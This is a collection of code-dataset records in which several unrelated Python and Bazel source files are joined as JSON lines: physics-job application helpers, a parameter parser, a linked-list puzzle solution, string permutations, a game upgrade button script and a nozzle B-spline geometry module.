self._jobsteps[self._linkedidx]\n if self._inputappstep:\n stepinstance.setLink(\"InputFile\", self._inputappstep.getType(), \"OutputFile\")\n return S_OK()\n \n#################################################################\n# SLCIOSplit : Helper to split SLCIO files \n################################################################# \nclass SLCIOSplit(Application):\n \"\"\" Helper to split slcio files\n \n Example:\n \n >>> slciosplit = SLCIOSplit()\n >>> slciosplit.setInputFile( \"slcioFile_1.slcio\" )\n >>> slciosplit.setNumberOfEventsPerFile(100)\n \n \"\"\"\n def __init__(self, paramdict = None):\n self.numberofeventsperfile = 0\n super(SLCIOSplit, self).__init__( paramdict)\n if not self.version:\n self.version = 'HEAD'\n self._modulename = \"LCIOSplit\"\n self.appname = 'lcio'\n self._moduledescription = 'Helper call to split SLCIO files'\n\n def setNumberOfEventsPerFile(self, numberofevents):\n \"\"\" Number of events to have in each file\n \"\"\"\n self._checkArgs( {\n 'numberofevents' : types.IntType\n } )\n self.numberofeventsperfile = numberofevents\n\n \n\n def _applicationModule(self):\n m1 = self._createModuleDefinition()\n m1.addParameter( Parameter( \"debug\", False, \"bool\", \"\", \"\", False, False, \"debug mode\"))\n m1.addParameter( Parameter( \"nbEventsPerSlice\", 0, \"int\", \"\", \"\", False, False, \n \"Number of events per output file\"))\n return m1\n\n def _applicationModuleValues(self, moduleinstance):\n moduleinstance.setValue('debug', self.debug)\n moduleinstance.setValue('nbEventsPerSlice', self.numberofeventsperfile)\n\n def _userjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setUserJobFinalization(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('userjobmodules failed')\n return S_OK() \n\n def _prodjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setOutputComputeDataList(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('prodjobmodules failed')\n return S_OK() \n\n def _checkConsistency(self):\n \"\"\" Checks that all needed parameters are set\n \"\"\"\n \n #steal the datatype and detector type from the job (for production):\n if hasattr(self._job, \"datatype\"):\n self.datatype = self._job.datatype\n if hasattr(self._job, \"detector\"):\n self.detectortype = self._job.detector\n \n #This is needed for metadata registration\n self.nbevts = self.numberofeventsperfile\n \n if not self.outputFile and self._jobtype =='User' :\n self._log.notice('No output file name specified.')\n\n if not self._jobtype == 'User':\n self._listofoutput.append({\"outputFile\":\"@{OutputFile}\", \"outputPath\":\"@{OutputPath}\", \n \"outputDataSE\":'@{OutputSE}'})\n self.prodparameters['nb_events_per_file'] = self.numberofeventsperfile\n\n \n return S_OK()\n \n def _checkWorkflowConsistency(self):\n return self._checkRequiredApp()\n \n def _resolveLinkedStepParameters(self, stepinstance):\n if type(self._linkedidx) == types.IntType:\n self._inputappstep = self._jobsteps[self._linkedidx]\n if self._inputappstep:\n stepinstance.setLink(\"InputFile\", self._inputappstep.getType(), \"OutputFile\")\n return S_OK()\n\n#################################################################\n# StdHepSplit : Helper to split Stdhep files \n################################################################# \nclass StdHepSplit(Application):\n \"\"\" Helper to split stdhep files\n \n Example:\n \n >>> stdhepsplit = StdHepSplit()\n >>> stdhepsplit.setInputFile( \"File_1.stdhep\" )\n >>> stdhepsplit.setNumberOfEventsPerFile(100)\n >>> stdhepsplit.setOutputFile(\"somefile.stdhep\")\n \n The outpufiles will then be somefile_X.stdhep, where X corresponds to the slice index\n \n \"\"\"\n def __init__(self, paramdict = None):\n self.numberofeventsperfile = 0\n super(StdHepSplit, self).__init__( paramdict )\n if not self.version:\n self.version = 'V2'\n self._modulename = \"StdHepSplit\"\n self.appname = 'stdhepsplit'\n self._moduledescription = 'Helper call to split Stdhep files'\n\n def setNumberOfEventsPerFile(self, numberofevents):\n \"\"\" Number of events to have in each file\n \"\"\"\n self._checkArgs( {\n 'numberofevents' : types.IntType\n } )\n self.numberofeventsperfile = numberofevents\n\n \n\n def _applicationModule(self):\n m1 = self._createModuleDefinition()\n m1.addParameter( Parameter( \"debug\", False, \"bool\", \"\", \"\", False, False, \"debug mode\"))\n m1.addParameter( Parameter( \"nbEventsPerSlice\", 0, \"int\", \"\", \"\", False, False, \n \"Number of events per output file\"))\n return m1\n\n def _applicationModuleValues(self, moduleinstance):\n moduleinstance.setValue('debug', self.debug)\n moduleinstance.setValue('nbEventsPerSlice', self.numberofeventsperfile)\n\n def _userjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setUserJobFinalization(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('userjobmodules failed')\n return S_OK() \n\n def _prodjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setOutputComputeDataList(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('prodjobmodules failed')\n return S_OK() \n\n def _checkConsistency(self):\n \"\"\" Checks that all needed parameters are set\n \"\"\"\n \n #steal the datatype and detector type from the job (for production):\n if hasattr(self._job, \"datatype\"):\n self.datatype = self._job.datatype\n \n #This is needed for metadata registration\n self.nbevts = self.numberofeventsperfile\n \n if not self.outputFile and self._jobtype =='User' :\n self._log.notice('No output file name specified.')\n\n if not self._jobtype == 'User':\n self._listofoutput.append({\"outputFile\":\"@{OutputFile}\", \"outputPath\":\"@{OutputPath}\", \n \"outputDataSE\":'@{OutputSE}'})\n self.prodparameters['nb_events_per_file'] = self.numberofeventsperfile\n\n \n return S_OK()\n \n def _checkWorkflowConsistency(self):\n return self._checkRequiredApp()\n \n def _resolveLinkedStepParameters(self, stepinstance):\n if type(self._linkedidx) == types.IntType:\n self._inputappstep = self._jobsteps[self._linkedidx]\n if self._inputappstep:\n stepinstance.setLink(\"InputFile\", self._inputappstep.getType(), \"OutputFile\")\n return S_OK()\n \n \n#################################################################\n# Tomato : Helper to filter generator selection \n################################################################# \nclass Tomato(Application):\n \"\"\" Helper application over Tomato analysis\n \n Example:\n \n >>> cannedTomato = Tomato()\n >>> cannedTomato.setInputFile ( [pouette_1.slcio , pouette_2.slcio] )\n >>> cannedTomato.setSteeringFile ( MySteeringFile.xml )\n >>> cannedTomato.setLibTomato ( MyUserVersionOfTomato )\n\n \n \"\"\"\n def __init__(self, paramdict = None):\n\n self.libTomato = ''\n super(Tomato, self).__init__( paramdict )\n if not self.version:\n self.version = 'HEAD'\n self._modulename = \"TomatoAnalysis\"\n self.appname = 'tomato'\n self._moduledescription = 'Helper Application over Marlin reconstruction'\n \n def setLibTomato(self, libTomato):\n \"\"\" Optional: Set the the optional Tomato library with the user version\n \n @param libTomato: Tomato library\n @type libTomato: string\n \n \"\"\" \n self._checkArgs( {\n 'libTomato' : types.StringTypes\n } )\n \n self.libTomato = libTomato\n return S_OK()\n\n\n def _applicationModule(self):\n m1 = self._createModuleDefinition()\n m1.addParameter( Parameter( \"libTomato\", '', \"string\", \"\", \"\", False, False, \"Tomato library\" ))\n m1.addParameter( Parameter( \"debug\", False, \"bool\", \"\", \"\", False, False, \"debug mode\"))\n return m1\n \n\n def _applicationModuleValues(self, moduleinstance):\n moduleinstance.setValue('libTomato', self.libTomato)\n moduleinstance.setValue('debug', self.debug)\n \n def _userjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setUserJobFinalization(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('userjobmodules failed')\n return S_OK() \n\n def _prodjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setOutputComputeDataList(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('prodjobmodules failed')\n return S_OK() \n\n def _checkConsistency(self):\n \"\"\" Checks that all needed parameters are set\n \"\"\" \n\n if not self.version:\n return S_ERROR(\"You need to specify which version of Marlin to use.\")\n \n if not self.libTomato :\n self._log.info('Tomato library not given. It will run without it')\n\n #res = self._checkRequiredApp()\n #if not res['OK']:\n # return res\n \n return S_OK() \n\n def _checkWorkflowConsistency(self):\n return self._checkRequiredApp()\n\n def _resolveLinkedStepParameters(self, stepinstance):\n \n if type(self._linkedidx) == types.IntType:\n self._inputappstep = self._jobsteps[self._linkedidx]\n if self._inputappstep:\n stepinstance.setLink(\"InputFile\", self._inputappstep.getType(), \"OutputFile\")\n return S_OK()\n ","sub_path":"Interfaces/API/NewInterface/Applications.py","file_name":"Applications.py","file_ext":"py","file_size_in_byte":98930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"463524098","text":"from typing import List, Dict, Any\n\nfrom mason.parameters.invalid_parameter import InvalidParameter\nfrom mason.parameters.parameter import Parameter\nfrom mason.util.json_schema import object_from_json_schema\nfrom mason.util.exception import message\n\ndef parse_dict(d: dict, schema: str):\n valid: List[Parameter] = []\n invalid: List[InvalidParameter] = []\n validated = object_from_json_schema(d, schema, dict)\n if isinstance(validated, dict): # can now be confident it is a one level dict\n v: Dict[str, Any] = validated\n for key, value in v.items():\n try:\n valid.append(Parameter(key, value))\n except Exception as e:\n invalid.append(InvalidParameter(f\"Invalid Parameter: {message(e)}\"))\n\n else:\n invalid.append(InvalidParameter(\n \"Parameters do not conform to specified schema in parameters/schema.json. Must be of form key:value\"))\n\n return valid, invalid\n\n","sub_path":"mason/parameters/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"140145665","text":"# Copyright 2018 The Bazel Authors. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Rule adapter for _java_lite_grpc_library.\"\"\"\n\nload(\":adapters/base.bzl\", \"make_adapter\")\nload(\":providers.bzl\", \"MIAndroidDexInfo\", \"MIJavaResourcesInfo\", \"providers\")\nload(\":transform.bzl\", \"dex\", \"extract_jar_resources\")\n\ndef _aspect_attrs():\n \"\"\"Attrs of the rule requiring traversal by the aspect.\"\"\"\n return [\"deps\", \"_toolchain\"]\n\ndef _adapt(target, ctx):\n \"\"\"Adapts the rule and target data.\n\n Args:\n target: The target.\n ctx: The context.\n\n Returns:\n A list of providers.\n \"\"\"\n return [\n providers.make_mi_android_dex_info(\n dex_shards = dex(\n ctx,\n target[JavaInfo].runtime_output_jars,\n target[JavaInfo].transitive_compile_time_jars,\n ),\n deps = providers.collect(\n MIAndroidDexInfo,\n ctx.rule.attr.deps,\n [ctx.rule.attr._toolchain],\n ),\n ),\n providers.make_mi_java_resources_info(\n java_resources = extract_jar_resources(\n ctx,\n target[JavaInfo].runtime_output_jars,\n ),\n deps = providers.collect(\n MIJavaResourcesInfo,\n ctx.rule.attr.deps,\n ),\n ),\n ]\n\njava_lite_grpc_library = make_adapter(_aspect_attrs, _adapt)\n","sub_path":"mobile_install/adapters/java_lite_grpc_library.bzl","file_name":"java_lite_grpc_library.bzl","file_ext":"bzl","file_size_in_byte":1935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"625716923","text":"# Definition for singly-linked list.\nclass ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\nclass Solution(object):\n def addTwoNumbers(self, l1, l2):\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \"\"\"\n d = ListNode(0)\n tmp = ListNode(0)\n d.val = (l1.val + l2.val) % 10\n c = (l1.val + l2.val) / 10\n if (l1.next != None) or (l2.next != None) or (c > 0):\n d.next = tmp\n while (l1.next != None) or (l2.next != None) or (c > 0):\n l1 = l1.next\n l2 = l2.next\n if (l1 != None) or (l2 != None) or (c > 0):\n if l1 == None:\n l1 = ListNode(0)\n if l2 == None:\n l2 = ListNode(0)\n tmp.val = (l1.val + l2.val + c) % 10\n c = (l1.val + l2.val + c) / 10\n if (l1.next != None) or (l2.next != None) or (c > 0):\n tmp.next = ListNode(0)\n tmp = tmp.next\n\n return d\n\n def addTwoNumbers2(self, l1, l2):\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \"\"\"\n d = ListNode(0)\n curr = d\n c = 0\n while (l1 != None) or (l2 != None):\n x1 = 0\n x2 = 0\n if l1 != None:\n x1 = l1.val\n if l2 != None:\n x2 = l2.val\n curr.next = ListNode((x1 + x2 + c) % 10)\n c = (x1 + x2 + c) / 10\n curr = curr.next\n if l1 != None:\n l1 = l1.next\n if l2 != None:\n l2 = l2.next\n\n if c > 0:\n curr.next = ListNode(c)\n\n return d.next\n\n# test\nif __name__ == '__main__':\n a = [2, 4, 3]\n b = [5, 6, 4]\n # a = [5]\n # b = [5]\n l1 = ListNode(a[0])\n l2 = ListNode(b[0])\n tmp1 = ListNode(0)\n tmp2 = ListNode(0)\n if len(a) > 1:\n l1.next = tmp1\n l2.next = tmp2\n for i in range(1, len(a)):\n tmp1.val = a[i]\n tmp2.val = b[i]\n if i != (len(a) - 1):\n tmp1.next = ListNode(0)\n tmp2.next = ListNode(0)\n tmp1 = tmp1.next\n tmp2 = tmp2.next\n\n x = Solution()\n tmp = ListNode(0)\n tmp = x.addTwoNumbers2(l1, l2)\n while tmp.next != None:\n print(tmp.val)\n tmp = tmp.next\n print(tmp.val)\n","sub_path":"2_Add_Two_Numbers.py","file_name":"2_Add_Two_Numbers.py","file_ext":"py","file_size_in_byte":2427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"170475714","text":"\n'''\n'''\n\n\n\ndef permute(s):\n\n out = list()\n\n # Base Case\n if len(s) == 1:\n out = [s]\n\n # Recursive Case\n for i,letter in enumerate(s):\n\n substring = s[:i]+s[i+1:]\n for permutation in permute(substring):\n \n out += [letter+permutation]\n\n return out\n\npermute('abc')\n\n\n\ndef permute2(s):\n\n # Base Case\n if len(s) == 1:\n return [s]\n\n # Recursive Case\n for i,letter in enumerate(s):\n substring = s[:i]+s[i+1:]\n for permutation in permute(substring):\n print([letter+permutation])\n\npermute2('abc')\n\n","sub_path":"Interview_Portilla/Recursion/string_permutations.py","file_name":"string_permutations.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"621630169","text":"import Zero\nimport Events\nimport Property\nimport VectorMath\n\r\nVec4 = VectorMath.Vec4\r\nVec3 = VectorMath.Vec3\r\n\nclass Upgrade2Logic:\n def Initialize(self, initializer):\r\n cameraCog = self.Space.FindObjectByName(\"Camera\")\r\n Zero.Connect(cameraCog.Camera.Viewport, Events.MouseMove, self.OnMouseMove)\n Zero.Connect(self.Owner, Events.MouseEnter, self.OnMouseEnter)\r\n Zero.Connect(self.Owner, Events.MouseExit, self.OnMouseExit)\r\n Zero.Connect(self.Owner, Events.MouseDown, self.OnMouseDown)\r\n Zero.Connect(self.Owner, Events.MouseUp, self.OnMouseUp)\r\n self.LevelSpace = 0\r\n \r\n self.DefaultColor = Vec4(0,1,0,1)\r\n self.HoverColor = Vec4(0,1,0,.25)\r\n self.DownColor = Vec4(0,.5,0,.5)\r\n \r\n self.DefaultState()\r\n \n def OnMouseMove(self, ViewportMouseEvent):\r\n self.mousePosition = ViewportMouseEvent.ToWorldZPlane(0.0)\r\n \r\n def DefaultState(self):\r\n self.Owner.Sprite.Color = self.DefaultColor\r\n \r\n def HoverState(self):\r\n self.Owner.Sprite.Color = self.HoverColor\r\n \r\n def DownState(self):\r\n self.Owner.Sprite.Color = self.DownColor\r\n \r\n def OnMouseEnter(self, MouseEvent):\r\n self.HoverState()\r\n \r\n def OnMouseExit(self, MouseEvent):\r\n self.DefaultState()\r\n \r\n def OnMouseDown(self, MouseEvent):\r\n self.DownState()\r\n \r\n def OnMouseUp(self, MouseEvent):\r\n self.towerstats = self.LevelSpace.FindObjectByName(\"TowerStats\").TowerStats\r\n self.player = self.LevelSpace.FindObjectByName(\"Player\").PlayerLogic\r\n if(self.towerstats.towerlevel[1] < 3 and self.player.money >= self.towerstats.upgradecost2[self.towerstats.towerlevel[1]]):\r\n self.player.money -= self.towerstats.upgradecost2[self.towerstats.towerlevel[1]]\r\n self.towerstats.towerlevel[1] += 1\r\n if(self.towerstats.towerlevel[1] == 3):\r\n self.Owner.Destroy()\r\n else:\r\n self.Owner.SpriteText.Text = str(self.towerstats.upgradecost2[self.towerstats.towerlevel[1]]) + \"g\"\n\r\n self.HoverState()\r\n \nZero.RegisterComponent(\"Upgrade2Logic\", Upgrade2Logic)","sub_path":"Content/Upgrade2Logic.py","file_name":"Upgrade2Logic.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"180650455","text":"# -*- coding: utf-8 -*-\n\"\"\"\nGeometry module for axisymmetric nozzle. Currently only a B-spline geometry is \nimplemented.\n\nRick Fenrich 6/28/16\n\"\"\"\n\nimport numpy as np \nimport scipy.optimize\nimport scipy.integrate \n#import geometryC\n\nfrom .. import _meshutils_module\nimport ctypes\n\nclass Bspline():\n def __init__(self, coefs): # assumes 3rd degree B-spline\n self.type = \"B-spline\"\n self.coefs = coefs\n self.knots = np.hstack(([np.zeros(4), np.arange(1.,coefs.size/2-3), \\\n np.ones(4)*(coefs.size/2-3)])) # calculate here\n self.degree = self.knots.size - self.coefs.size/2 - 1\n self.length = coefs[0,-1]\n self.inletRadius = coefs[1,0]\n \n def findMinimumRadius(self):\n xSeg = np.zeros(self.knots.size)\n ySeg = np.zeros(self.knots.size)\n for ii in range(0,self.knots.size):\n (xTemp,yTemp,temp1,temp2) = uMap3(self.knots[ii],self)\n xSeg[ii] = xTemp\n ySeg[ii] = yTemp\n yMinKnotIndex = np.argmin(ySeg)\n minFunc = lambda x: self.diameter(x).item()\n DMinOld = 1e12\n for ii in range(max(yMinKnotIndex-2,0),min(yMinKnotIndex+3, \\\n self.knots.size-1)):\n lowerBound = xSeg[ii].item()\n upperBound = xSeg[ii+1].item()\n xMin = scipy.optimize.fminbound(minFunc,lowerBound,upperBound) \n DMin = minFunc(xMin)\n if( DMin < DMinOld ):\n DMinOld = DMin\n xMinOld = xMin\n self.xThroat = xMinOld\n self.yThroat = DMinOld/2\n self.Ainlet2Athroat = (self.inletRadius)**2/self.yThroat**2\n self.Aexit2Athroat = (self.coefs[1,-1])**2/self.yThroat**2\n return (self.xThroat, self.yThroat)\n \n def radius(self, x): # r\n #y = bSplineGeometry(x,self)[0] # Python version (slower)\n y = bSplineGeometryC(x,self)[0] # uses dynamic C library\n return y \n \n def diameter(self, x): # D\n #y = bSplineGeometry(x,self)[0] # Python version (slower)\n y = bSplineGeometryC(x,self)[0] # uses dynamic C library\n return y*2\n \n def area(self, x): # A\n #y = bSplineGeometry(x,self)[0] # Python version (slower)\n y = bSplineGeometryC(x,self)[0] # uses dynamic C library\n return np.pi*y**2\n \n def areaGradient(self, x): # dAdx\n #(y, dydx) = bSplineGeometry(x,self) # Python version (slower)\n (y, dydx) = bSplineGeometryC(x,self) # uses dynamic C library\n return 2*np.pi*y*dydx\n \nclass PiecewiseLinear:\n def __init__(self,nodes):\n self.type = \"piecewise-linear\"\n self.nodes = nodes\n self.length = nodes[0,-1]\n self.inletRadius = nodes[1,0]\n \n def findMinimumRadius(self):\n ii = np.argmin(self.nodes[1,:])\n self.xThroat = self.nodes[0,ii]\n self.yThroat = self.nodes[1,ii]\n self.Ainlet2Athroat = (self.inletRadius)**2/self.yThroat**2\n self.Aexit2Athroat = (self.nodes[1,-1])**2/self.yThroat**2\n return (self.xThroat, self.yThroat)\n \n def radius(self, x): # r\n y = np.interp(x,self.nodes[0,:],self.nodes[1,:])\n return y\n \n def diameter(self, x): # D\n y = np.interp(x,self.nodes[0,:],self.nodes[1,:])\n return 2*y\n \n def area(self, x): # A\n y = np.interp(x,self.nodes[0,:],self.nodes[1,:])\n return np.pi*y**2\n \n def areaGradient(self, x): # dAdx\n y = np.interp(x,self.nodes[0,:],self.nodes[1,:])\n if( isinstance(x,float) ):\n upperIndex = find(x,self.nodes[0,:])\n if( upperIndex == self.nodes.size/2 ):\n upperIndex = upperIndex - 1\n lowerIndex = upperIndex - 1\n dydx = (self.nodes[1,upperIndex] - self.nodes[1,lowerIndex])/ \\\n (self.nodes[0,upperIndex] - self.nodes[0,lowerIndex])\n else: # x is an array\n dydx = np.zeros(x.size)\n for ii in range(0,x.size):\n upperIndex = find(x[ii],self.nodes[0,:])\n if( upperIndex == self.nodes.size/2 ):\n upperIndex = upperIndex - 1\n lowerIndex = upperIndex - 1\n dydx[ii] = (self.nodes[1,upperIndex] - \n self.nodes[1,lowerIndex])/(self.nodes[0,upperIndex] \\\n - self.nodes[0,lowerIndex])\n \n return 2*np.pi*y*dydx\n\n#==============================================================================\n# Find first 1-based index where scalar xFind < xVec[ii]\n#==============================================================================\ndef find(xFind,xVec):\n counter = 1\n for ii in range(1,xVec.size):\n if(xFind < xVec[ii]):\n break # assume xVec is in ascending order\n counter += 1\n return counter\n\n#==============================================================================\n# Calculate x, y, dxdu, and dydu given u for 3rd degree B-spline\n# Currently implemented only for scalar inputs of u\n#==============================================================================\ndef uMap3(u,bSpline):\n x = 0.\n y = 0.\n dxdu = 0.\n dydu = 0.\n \n # Calculate the highest knot index that gives a value of u below the given\n # value (1-based index)\n hh = find(u,bSpline.knots)\n if( hh == bSpline.knots.size ): # at end of knots vector\n hh = bSpline.knots.size - 4\n \n nn = 0\n if( hh == 1 ):\n nn = 1\n elif( hh == 2 ):\n nn = 2\n elif( hh == 3 ):\n nn = 3\n else:\n nn = 4\n \n ii = 0\n while( ii > -nn ): # i.e. for each contributing basis\n jj = hh + ii - 1 # subtracted 2 for C++ compatibility\n \n # Redefine k1 through k5 here\n k1 = bSpline.knots[jj]\n k2 = bSpline.knots[jj+1]\n k3 = bSpline.knots[jj+2]\n k4 = bSpline.knots[jj+3]\n k5 = bSpline.knots[jj+4]\n \n if( ii == 0 ): # calculate basis N1\n if( abs(k1-k2) <= 1e-12 ):\n Ncurrent = 0.\n dNducurrent = 0.\n else:\n Ncurrent = (u-k1)/(k4-k1)*(u-k1)/(k3-k1)*(u-k1)/(k2-k1)\n dNducurrent = -(3*pow(k1 - u,2))/((k1 - k2)*(k1 - k3)* \\\n (k1 - k4))\n elif( ii == -1 ): # calculate basis N2\n if( abs(k2-k3) <= 1e-12):\n Ncurrent = 0.\n dNducurrent = 0.\n else:\n Ncurrent = (u-k1)/(k4-k1)*((u-k1)/(k3-k1)*(k3-u)/(k3-k2) + \\\n (k4-u)/(k4-k2)*(u-k2)/(k3-k2)) + (k5-u)/(k5-k2)*(u-k2) \\\n /(k4-k2)*(u-k2)/(k3-k2)\n dNducurrent = (((k1 - u)*(k3 - u))/((k1 - k3)*(k2 - k3)) + \\\n ((k2 - u)*(k4 - u))/((k2 - k3)*(k2 - k4)))/(k1 - k4) + \\\n pow(k2 - u,2)/((k2 - k3)*(k2 - k4)*(k2 - k5)) + ((k5 - u) \\\n *(2*k2 - 2*u))/((k2 - k3)*(k2 - k4)*(k2 - k5)) + \\\n (2*(k1 - u)*(k1*k2 - k3*k4 - k1*u - k2*u + k3*u + k4*u))/ \\\n ((k1 - k3)*(k1 - k4)*(k2 - k3)*(k2 - k4))\n elif( ii == -2 ): # calculate basis N3\n if( abs(k3-k4) <= 1e-12 ):\n Ncurrent = 0.\n dNducurrent = 0.\n else:\n Ncurrent = (u-k1)/(k4-k1)*(k4-u)/(k4-k2)*(k4-u)/(k4-k3) + \\\n (k5-u)/(k5-k2)*((u-k2)/(k4-k2)*(k4-u)/(k4-k3) + (k5-u)/ \\\n (k5-k3)*(u-k3)/(k4-k3))\n dNducurrent = - (((k2 - u)*(k4 - u))/((k2 - k4)*(k3 - k4)) + \\\n ((k3 - u)*(k5 - u))/((k3 - k4)*(k3 - k5)))/(k2 - k5) - \\\n pow(k4 - u,2)/((k1 - k4)*(k2 - k4)*(k3 - k4)) - \\\n ((k1 - u)*(2*k4 - 2*u))/((k1 - k4)*(k2 - k4)*(k3 - k4)) - \\\n (2*(k5 - u)*(k2*k3 - k4*k5 - k2*u - k3*u + k4*u + k5*u))/ \\\n ((k2 - k4)*(k2 - k5)*(k3 - k4)*(k3 - k5))\n else: # calculate basis N4\n if( abs(k4-k5) <= 1e-12 ):\n Ncurrent = 0.\n dNducurrent = 0.\n else: \n Ncurrent = (k5-u)/(k5-k2)*(k5-u)/(k5-k3)*(k5-u)/(k5-k4)\n dNducurrent = (3*pow(k5 - u,2))/((k2 - k5)*(k3 - k5)* \\\n (k4 - k5))\n \n x += bSpline.coefs[0,jj]*Ncurrent\n y += bSpline.coefs[1,jj]*Ncurrent\n dxdu += bSpline.coefs[0,jj]*dNducurrent\n dydu += bSpline.coefs[1,jj]*dNducurrent\n \n ii -= 1\n \n if( ii < -4):\n break\n \n # END OF while( ii > -nn )\n \n return (x,y,dxdu,dydu)\n \n# END OF uMap3\n\n#==============================================================================\n# Return y given x for a 3rd degree B-spline\n#==============================================================================\ndef bSplineGeometry(x,bSpline):\n \n if( isinstance(x,float) ):\n if( x > (bSpline.coefs[0][-1]) ):\n x = bSpline.coefs[0][-1]\n elif( x < (bSpline.coefs[0][0]) ):\n x = bSpline.coefs[0][0]\n #raise ValueError(\"x is outside bounds of B-spline\")\n \n if( isinstance(x,np.ndarray) ):\n nx = x.size # number of x\n else: # convert to numpy array for calculations\n x = np.array(([x]))\n nx = 1\n \n k = bSpline.knots.size # number of knots\n \n y = np.zeros(nx)\n dydx = np.zeros(nx)\n \n # Determine x-value at breaks\n xKnot = np.empty(k)\n for ii in range(0,k):\n xKnot[ii] = uMap3(bSpline.knots[ii],bSpline)[0]\n xKnot[k-4] += 1e-6 # so finding upper bound on u works (assumes same 4\n # knots at end of knot vector)\n \n tolerance = 1e-6 # tolerance for Newton solver\n \n for ii in range(0,nx):\n \n # Determine lower and upper bounds on u\n seg = find(x[ii],xKnot)\n uLower = bSpline.knots[seg-1]\n uUpper = bSpline.knots[seg]\n \n # Pick a guess for u (a linear interpolation)\n u = (uLower + uUpper)/2\n \n # Calculate x and dxdu corresponding to u\n (xEst, temp1, dxduEst, temp2) = uMap3(u,bSpline)\n \n # Perform 1 Newton iteration\n if( dxduEst < tolerance ):\n uNew = 0.\n else:\n uNew = u - (xEst - x[ii])/dxduEst\n \n # Perform remaining Newton iterations\n counter = 0\n errorMeasure = abs((uNew - u)/uNew)\n while( errorMeasure > tolerance ):\n u = uNew\n \n (xEst, temp1, dxduEst, temp2) = uMap3(u,bSpline)\n \n if( dxduEst < 1e-12 ):\n uNew = u\n else:\n uNew = u - (xEst - x[ii])/dxduEst\n \n counter += 1\n \n if( counter > 20 ):\n break\n \n errorMeasure = abs((uNew-u)/uNew)\n \n # END OF while( errorMeasure > tolerance )\n \n u = uNew\n \n (xTemp, yTemp, dxduTemp, dyduTemp) = uMap3(u,bSpline)\n \n y[ii] = yTemp\n \n if( dxduTemp < tolerance ):\n dydx[ii] = 0.\n else:\n dydx[ii] = dyduTemp/dxduTemp\n \n # END OF for ii in range(0,nx)\n \n return (y, dydx)\n\n# END OF bSplineGeometry\n \n#==============================================================================\n# Return y given x for a 3rd degree B-spline\n#==============================================================================\ndef bSplineGeometryC(x,bSpline):\n\timport sys;\n\timport itertools;\n\t\n\tif( isinstance(x,float) ):\n\t\tif( x > (bSpline.coefs[0][-1]) ):\n\t\t x = np.array([bSpline.coefs[0][-1]])\n\t\telif( x < (bSpline.coefs[0][0]) ):\n\t\t x = np.array([bSpline.coefs[0][0]])\n\t\t #raise ValueError(\"x is outside bounds of B-spline\")\n\t\telse:\n\t\t x = np.array([x])\n\t\n\tcoefs = bSpline.coefs.flatten();\n\tcoefs.tolist();\n\t\n\t#coefs = bSpline.coefs.tolist();\n\t#coefs = itertools.chain.from_iterable(coefs);\n\t\n\tknots = bSpline.knots.flatten();\n\tknots.tolist();\n\t\n\tx.tolist();\n\t\n\ty = [];\n\tdydx = [];\n\t\n\tcoefs2=[];\n\tknots2=[];\n\tx2 =[];\n\t\n\t# --- Duplicate the lists because the result of tolist() doesn't pass the pycheck test \n\t\n\tfor i in range(0,len(coefs)):\n\t\t#print \"coefs[%d] = %lf\" % (i,coefs[i]);\n\t\tcoefs2.append(coefs[i]);\n\t\n\tfor i in range(0,len(knots)):\n\t\t#print \"knots[%d] = %lf\" % (i,knots[i]);\n\t\tknots2.append(knots[i]);\n\t\t\n\tfor i in range(0,len(x)):\n\t\t#print \"knots[%d] = %lf\" % (i,knots[i]);\n\t\tx2.append(x[i]);\n\t\n\t\n\t\n\t#py_BSplineGeo3LowF (PyObject *pyknots, PyObject *pycoefs, PyObject *pyx, PyObject *pyy, PyObject *pydydx)\n\t_meshutils_module.py_BSplineGeo3LowF (knots2, coefs2, x2, y, dydx);\n\t\n\t#for i in range(0,len(y)):\n\t#\tprint \"%d : (x,y) = %lf %lf ; dydx = %lf\" % (i,x2[i], y[i], dydx[i]);\n\t#\n\t#print \"EXIT\";\n\t#sys.exit(1);\n\t\n\t# (y, dydx) = geometryC.bSplineGeometry(bSpline.knots,bSpline.coefs,x)\n\t\n\treturn (np.asarray(y), np.asarray(dydx))\n \n#==============================================================================\n# Calculate volume of axisymmetric nozzle wall using trapezoidal integration\n#==============================================================================\ndef wallVolume(innerWall,thickness):\n 